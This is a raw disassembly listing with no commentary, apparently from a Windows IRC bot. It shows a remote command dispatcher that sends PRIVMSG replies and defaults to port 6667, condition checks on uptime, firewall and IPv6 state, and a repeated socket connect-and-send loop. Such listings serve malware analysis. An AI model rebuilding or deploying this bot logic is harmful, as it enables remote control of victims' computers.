and [ebp+var_638D], 0
lea eax, [ebp+var_638F]
push eax
call sub_40A8AD
pop ecx
push eax
lea eax, [ebp+var_6392]
push eax
call sub_40A8AD
pop ecx
push eax
lea eax, [ebp+var_6395]
push eax
call sub_40A8AD
pop ecx
push eax
lea eax, [ebp+var_6398]
push eax
call sub_40A8AD
pop ecx
push eax
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_419860
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 1Ch
jmp short loc_40C375
; ---------------------------------------------------------------------------
loc_40C35B: ; CODE XREF: sub_40A9CF+1866j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_419844
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40C375: ; CODE XREF: sub_40A9CF+198Aj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C37A: ; CODE XREF: sub_40A9CF+1818j
mov eax, [ebp+var_1A8]
sub eax, dword_419838
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40C4B0
call sub_416B64 ; clock
mov [ebp+var_639C], eax
and [ebp+var_63A4], 0
and [ebp+var_63A0], 0
push 10h
push 0
lea eax, [ebp+var_63B4]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_63B4], 2
loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j
call sub_416B64 ; clock
sub eax, [ebp+var_639C]
cmp eax, 3E8h
jnb loc_40C469
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
push eax
call ds:dword_417238 ; ntohs
mov [ebp+var_63B2], ax
push 4
push 0
call sub_4040E8
pop ecx
pop ecx
mov [ebp+var_63B0], eax
push 0
push 2
push 2
call ds:dword_417218 ; socket
mov [ebp+var_63B8], eax
push 10h
lea eax, [ebp+var_63B4]
push eax
push [ebp+var_63B8]
call ds:dword_4171F4 ; connect
push 0
push 1
lea eax, [ebp+var_63A0]
push eax
push [ebp+var_63B8]
call ds:dword_41720C ; send
push [ebp+var_63B8]
call ds:dword_417230 ; closesocket
mov eax, [ebp+var_63A4]
add eax, 2Bh
mov [ebp+var_63A4], eax
jmp loc_40C3C8
; ---------------------------------------------------------------------------
loc_40C469: ; CODE XREF: sub_40A9CF+1A09j
cmp [ebp+var_63A4], 400h
jbe short loc_40C483
mov eax, [ebp+var_63A4]
mov [ebp+var_6408], eax
jmp short loc_40C48D
; ---------------------------------------------------------------------------
loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j
mov [ebp+var_6408], 400h
loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j
mov eax, [ebp+var_6408]
shr eax, 0Ah
push eax
push offset dword_419820
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj
mov eax, [ebp+var_1A8]
sub eax, dword_419818
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40C4DA
mov eax, [ebp+var_1A8]
sub eax, dword_41980C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C4FF
loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j
push offset dword_41DC34
push 3B6h
push 0
push offset dword_4197E8
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 14h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j
mov eax, [ebp+var_1A8]
sub eax, dword_4197DC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C53A
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_4142BF
add esp, 10h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j
mov eax, [ebp+var_1A8]
sub eax, dword_4197D4
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40C564
mov eax, [ebp+var_1A8]
sub eax, dword_4197C8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C576
loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej
lea eax, [ebp+var_1A4]
push eax
call sub_4087C4
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C576: ; CODE XREF: sub_40A9CF+1B93j
mov eax, [ebp+var_1A8]
sub eax, dword_4197C0
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40C5A0
mov eax, [ebp+var_1A8]
sub eax, dword_4197B4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C5B2
loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj
lea eax, [ebp+var_1A4]
push eax
call sub_408E4A
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj
mov eax, [ebp+var_1A8]
sub eax, dword_4197A4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C614
push 1
push offset a9252 ; "9252"
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_63BC], eax
push [ebp+var_63BC]
push offset a08x ; "%08X"
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
cmp [ebp+var_63BC], 0
jnz short loc_40C603
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj
push [ebp+var_63BC]
call sub_404CBB
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j
mov eax, [ebp+var_1A8]
sub eax, dword_419790
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C63B
lea eax, [ebp+var_1A4]
push eax
call sub_4091E2
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j
mov eax, [ebp+var_1A8]
sub eax, dword_419788
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40C669
mov eax, [ebp+var_1A8]
sub eax, dword_41977C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40C896
loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jz short loc_40C686
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_640C], eax
jmp short loc_40C68D
; ---------------------------------------------------------------------------
loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j
and [ebp+var_640C], 0
loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j
mov eax, [ebp+var_640C]
mov [ebp+var_63C8], eax
call sub_4092A4
mov [ebp+var_63E0], eax
mov eax, [ebp+var_63E0]
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_63D8], eax
mov eax, [ebp+var_63E0]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov [ebp+var_63C4], eax
mov eax, [ebp+var_63E0]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov eax, edx
xor edx, edx
push 3Ch
pop ecx
div ecx
mov [ebp+var_63D4], eax
mov eax, [ebp+var_63D8]
cmp eax, [ebp+var_63C8]
jnb short loc_40C715
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj
call sub_409318
mov [ebp+var_63C0], eax
mov eax, [ebp+var_63C0]
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_63CC], eax
mov eax, [ebp+var_63C0]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov [ebp+var_63DC], eax
mov eax, [ebp+var_63C0]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov eax, edx
xor edx, edx
push 3Ch
pop ecx
div ecx
mov [ebp+var_63D0], eax
cmp [ebp+var_63D0], 1
jnz short loc_40C793
mov [ebp+var_6410], offset byte_41DE30
jmp short loc_40C79D
; ---------------------------------------------------------------------------
loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j
mov [ebp+var_6410], offset dword_4191F4
loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j
cmp [ebp+var_63DC], 1
jnz short loc_40C7B2
mov [ebp+var_6414], offset byte_41DE30
jmp short loc_40C7BC
; ---------------------------------------------------------------------------
loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j
mov [ebp+var_6414], offset dword_4191F4
loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j
cmp [ebp+var_63CC], 1
jnz short loc_40C7D1
mov [ebp+var_6418], offset byte_41DE30
jmp short loc_40C7DB
; ---------------------------------------------------------------------------
loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j
mov [ebp+var_6418], offset dword_4191F4
loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j
cmp [ebp+var_63D4], 1
jnz short loc_40C7F0
mov [ebp+var_641C], offset byte_41DE30
jmp short loc_40C7FA
; ---------------------------------------------------------------------------
loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j
mov [ebp+var_641C], offset dword_4191F4
loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj
cmp [ebp+var_63C4], 1
jnz short loc_40C80F
mov [ebp+var_6420], offset byte_41DE30
jmp short loc_40C819
; ---------------------------------------------------------------------------
loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j
mov [ebp+var_6420], offset dword_4191F4
loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej
cmp [ebp+var_63D8], 1
jnz short loc_40C82E
mov [ebp+var_6424], offset byte_41DE30
jmp short loc_40C838
; ---------------------------------------------------------------------------
loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j
mov [ebp+var_6424], offset dword_4191F4
loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj
push [ebp+var_6410]
push [ebp+var_63D0]
push [ebp+var_6414]
push [ebp+var_63DC]
push [ebp+var_6418]
push [ebp+var_63CC]
push [ebp+var_641C]
push [ebp+var_63D4]
push [ebp+var_6420]
push [ebp+var_63C4]
push [ebp+var_6424]
push [ebp+var_63D8]
push offset dword_419708
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 38h
jmp short loc_40C912
; ---------------------------------------------------------------------------
loc_40C896: ; CODE XREF: sub_40A9CF+1C94j
mov eax, [ebp+var_1A8]
sub eax, dword_419700
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40C912
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jz short loc_40C8BD
mov eax, [ebp+arg_14]
cmp dword ptr [eax+8], 0
jnz short loc_40C8BF
loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j
jmp short loc_40C912
; ---------------------------------------------------------------------------
loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj
push 2
push offset aId ; "id"
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_40C8EA
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
push offset byte_41EEC8
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j
push offset aUsername ; "username"
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40C912
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
push offset byte_41F048
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40C912: ; CODE XREF: sub_40A9CF+85j
; sub_40A9CF+D8j ...
pop edi
pop esi
leave
retn
sub_40A9CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
loc_40C919: ; CODE XREF: sub_40C916+1Fj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_40C937
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40C937
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
jmp short loc_40C919
; ---------------------------------------------------------------------------
loc_40C937: ; CODE XREF: sub_40C916+Cj
; sub_40C916+16j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40C916 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o
var_534 = dword ptr -534h
var_530 = byte ptr -530h
var_38F = byte ptr -38Fh
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 534h
push 327h
push [ebp+arg_0]
lea eax, [ebp+var_534]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_208]
push eax
push offset asc_419F48 ; ";"
lea eax, [ebp+var_530]
push eax
call sub_40813C
add esp, 0Ch
mov [ebp+var_204], eax
and [ebp+var_20C], 0
loc_40C98D: ; CODE XREF: sub_40C93C+D6j
cmp [ebp+var_204], 0
jnz short loc_40C998
jmp short loc_40CA17
; ---------------------------------------------------------------------------
loc_40C998: ; CODE XREF: sub_40C93C+58j
; sub_40C93C+79j
mov eax, [ebp+var_204]
movsx eax, byte ptr [eax]
cmp eax, 20h
jz short loc_40C9A8
jmp short loc_40C9B7
; ---------------------------------------------------------------------------
loc_40C9A8: ; CODE XREF: sub_40C93C+68j
mov eax, [ebp+var_204]
inc eax
mov [ebp+var_204], eax
jmp short loc_40C998
; ---------------------------------------------------------------------------
loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj
push [ebp+var_204]
lea eax, [ebp+var_38F]
push eax
push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
push 200h
lea eax, [ebp+var_200]
push eax
call sub_416BAE ; _snprintf
add esp, 14h
lea eax, [ebp+var_200]
push eax
call sub_40E618
pop ecx
lea eax, [ebp+var_208]
push eax
push offset asc_419F48 ; ";"
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_20C], eax
mov eax, [ebp+var_20C]
mov [ebp+var_204], eax
jmp loc_40C98D
; ---------------------------------------------------------------------------
loc_40CA17: ; CODE XREF: sub_40C93C+5Aj
push [ebp+var_534]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_40C93C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p
var_1EC = dword ptr -1ECh
var_1E8 = byte ptr -1E8h
var_1C8 = byte ptr -1C8h
var_1A8 = dword ptr -1A8h
var_1A4 = dword ptr -1A4h
var_1A0 = byte ptr -1A0h
var_190 = byte ptr -190h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1ECh
cmp [ebp+arg_0], 0
jz short loc_40CA43
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 28h
jz short loc_40CA4A
loc_40CA43: ; CODE XREF: sub_40CA29+Dj
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CA4A: ; CODE XREF: sub_40CA29+18j
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
push offset asc_419FB0 ; ")"
push [ebp+arg_0]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_40CA70
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CA70: ; CODE XREF: sub_40CA29+3Ej
mov eax, [ebp+var_10]
sub eax, [ebp+arg_0]
inc eax
cmp eax, 180h
jbe short loc_40CA8A
mov [ebp+var_1EC], 180h
jmp short loc_40CA97
; ---------------------------------------------------------------------------
loc_40CA8A: ; CODE XREF: sub_40CA29+53j
mov eax, [ebp+var_10]
sub eax, [ebp+arg_0]
inc eax
mov [ebp+var_1EC], eax
loc_40CA97: ; CODE XREF: sub_40CA29+5Fj
push [ebp+var_1EC]
push [ebp+arg_0]
lea eax, [ebp+var_190]
push eax
call sub_407A56
add esp, 0Ch
push 1
push 1
lea eax, [ebp+var_190]
push eax
call sub_407C2C
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
push offset asc_419FAC ; "&&"
lea eax, [ebp+var_190]
push eax
call sub_40813C
add esp, 0Ch
mov [ebp+var_4], eax
and [ebp+var_C], 0
loc_40CAE1: ; CODE XREF: sub_40CA29+475j
cmp [ebp+var_4], 0
jnz short loc_40CAEC
jmp loc_40CEA3
; ---------------------------------------------------------------------------
loc_40CAEC: ; CODE XREF: sub_40CA29+BCj
; sub_40CA29+D7j
mov eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 20h
jz short loc_40CAF9
jmp short loc_40CB02
; ---------------------------------------------------------------------------
loc_40CAF9: ; CODE XREF: sub_40CA29+CCj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
jmp short loc_40CAEC
; ---------------------------------------------------------------------------
loc_40CB02: ; CODE XREF: sub_40CA29+CEj
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_1A0]
push eax
lea eax, [ebp+var_1C8]
push eax
push offset a32s16s32s ; "%32s %16s %32s"
push [ebp+var_4]
call sub_416BA2 ; sscanf
add esp, 14h
cmp eax, 3
jz short loc_40CB33
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CB33: ; CODE XREF: sub_40CA29+101j
lea eax, [ebp+var_1C8]
push eax
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_1A4], eax
lea eax, [ebp+var_1E8]
push eax
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_1A8], eax
cmp [ebp+var_1A4], 0
jnz loc_40CC6E
push offset dword_418F50
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jz loc_40CC6E
push offset aUptime ; "$uptime"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CBB1
call sub_4092A4
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_1A4], eax
jmp loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj
push offset aVersion ; "$version"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CBD7
mov [ebp+var_1A4], 3B6h
jmp loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj
push offset aFree ; "$free"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CBFB
call sub_408E8E
mov [ebp+var_1A4], eax
jmp short loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j
push offset aLatency ; "$latency"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CC1F
call sub_408887
mov [ebp+var_1A4], eax
jmp short loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j
push offset aFirewall ; "$firewall"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CC43
call sub_404279
mov [ebp+var_1A4], eax
jmp short loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CC43: ; CODE XREF: sub_40CA29+20Bj
push offset aIpv6 ; "$ipv6"
lea eax, [ebp+var_1C8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CC67
call sub_4043E9
mov [ebp+var_1A4], eax
jmp short loc_40CC6E
; ---------------------------------------------------------------------------
loc_40CC67: ; CODE XREF: sub_40CA29+22Fj
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CC6E: ; CODE XREF: sub_40CA29+137j
; sub_40CA29+152j ...
cmp [ebp+var_1A8], 0
jnz loc_40CD83
push offset dword_418F50
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jz loc_40CD83
push offset aUptime ; "$uptime"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CCC6
call sub_4092A4
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_1A8], eax
jmp loc_40CD83
; ---------------------------------------------------------------------------
loc_40CCC6: ; CODE XREF: sub_40CA29+282j
push offset aVersion ; "$version"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CCEC
mov [ebp+var_1A8], 3B6h
jmp loc_40CD83
; ---------------------------------------------------------------------------
loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j
push offset aFree ; "$free"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CD10
call sub_408E8E
mov [ebp+var_1A8], eax
jmp short loc_40CD83
; ---------------------------------------------------------------------------
loc_40CD10: ; CODE XREF: sub_40CA29+2D8j
push offset aLatency ; "$latency"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CD34
call sub_408887
mov [ebp+var_1A8], eax
jmp short loc_40CD83
; ---------------------------------------------------------------------------
loc_40CD34: ; CODE XREF: sub_40CA29+2FCj
push offset aFirewall ; "$firewall"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CD58
call sub_404279
mov [ebp+var_1A8], eax
jmp short loc_40CD83
; ---------------------------------------------------------------------------
loc_40CD58: ; CODE XREF: sub_40CA29+320j
push offset aIpv6 ; "$ipv6"
lea eax, [ebp+var_1E8]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CD7C
call sub_4043E9
mov [ebp+var_1A8], eax
jmp short loc_40CD83
; ---------------------------------------------------------------------------
loc_40CD7C: ; CODE XREF: sub_40CA29+344j
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CD83: ; CODE XREF: sub_40CA29+24Cj
; sub_40CA29+267j ...
push offset asc_419F5C ; "=="
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CDAF
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
jz short loc_40CDAF
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj
; sub_40CA29+37Dj
push offset asc_419F58 ; "!="
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CDDB
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
jnz short loc_40CDDB
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj
; sub_40CA29+3A9j
push offset asc_419F54 ; ">"
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CE07
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
ja short loc_40CE07
xor eax, eax
jmp locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CE07: ; CODE XREF: sub_40CA29+3C7j
; sub_40CA29+3D5j
push offset asc_419F50 ; ">="
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CE30
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
jnb short loc_40CE30
xor eax, eax
jmp short locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CE30: ; CODE XREF: sub_40CA29+3F3j
; sub_40CA29+401j
push offset dword_419968
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CE59
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
jb short loc_40CE59
xor eax, eax
jmp short locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CE59: ; CODE XREF: sub_40CA29+41Cj
; sub_40CA29+42Aj
push offset asc_419F4C ; "<="
lea eax, [ebp+var_1A0]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40CE82
mov eax, [ebp+var_1A4]
cmp eax, [ebp+var_1A8]
jbe short loc_40CE82
xor eax, eax
jmp short locret_40CEAE
; ---------------------------------------------------------------------------
loc_40CE82: ; CODE XREF: sub_40CA29+445j
; sub_40CA29+453j
lea eax, [ebp+var_8]
push eax
push offset asc_419FAC ; "&&"
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
jmp loc_40CAE1
; ---------------------------------------------------------------------------
loc_40CEA3: ; CODE XREF: sub_40CA29+BEj
mov eax, [ebp+var_10]
inc eax
push eax
call sub_40C916
pop ecx
locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj
; sub_40CA29+42j ...
leave
retn
sub_40CA29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push [ebp+arg_4]
call sub_40CA29
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_40CEC9
jmp short locret_40CF23
; ---------------------------------------------------------------------------
loc_40CEC9: ; CODE XREF: sub_40CEB0+15j
push 327h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40CEDF
jmp short locret_40CF23
; ---------------------------------------------------------------------------
loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj
push 180h
push [ebp+var_8]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 184h
push eax
call sub_405F67
pop ecx
pop ecx
push [ebp+var_8]
push offset aExecutingComma ; "Executing command(s): %s"
push 0
push [ebp+var_4]
push offset sub_40C93C
call sub_4095A4
add esp, 14h
locret_40CF23: ; CODE XREF: sub_40CEB0+17j
; sub_40CEB0+2Dj
leave
retn
sub_40CEB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p
; sub_40D871+59Bp ...
push ebp
mov ebp, esp
mov eax, dword_41E9A4
pop ebp
retn
sub_40CF25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp
; sub_40D366+8Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
jz short loc_40CF9E
push [ebp+arg_0]
push offset dword_41E898
call sub_416B3A ; strcpy
pop ecx
pop ecx
cmp [ebp+arg_4], 0
jz short loc_40CF60
push [ebp+arg_4]
push offset dword_41E998
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_40CF71
; ---------------------------------------------------------------------------
loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej
push offset a6667 ; "6667"
push offset dword_41E998
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj
cmp [ebp+arg_8], 0
jz short loc_40CF88
push [ebp+arg_8]
push offset byte_41E718
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_40CF99
; ---------------------------------------------------------------------------
loc_40CF88: ; CODE XREF: sub_40CF2F+46j
push offset byte_41DE30
push offset byte_41E718
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40CF99: ; CODE XREF: sub_40CF2F+57j
jmp loc_40D020
; ---------------------------------------------------------------------------
loc_40CF9E: ; CODE XREF: sub_40CF2F+9j
and [ebp+var_4], 0
jmp short loc_40CFAB
; ---------------------------------------------------------------------------
loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40CFAB: ; CODE XREF: sub_40CF2F+73j
mov eax, [ebp+var_4]
imul eax, 0Ch
cmp off_41DA68[eax], 0
jz short loc_40CFBC
jmp short loc_40CFA4
; ---------------------------------------------------------------------------
loc_40CFBC: ; CODE XREF: sub_40CF2F+89j
call sub_410422
xor edx, edx
div [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
imul eax, 0Ch
push off_41DA68[eax]
push offset dword_41E898
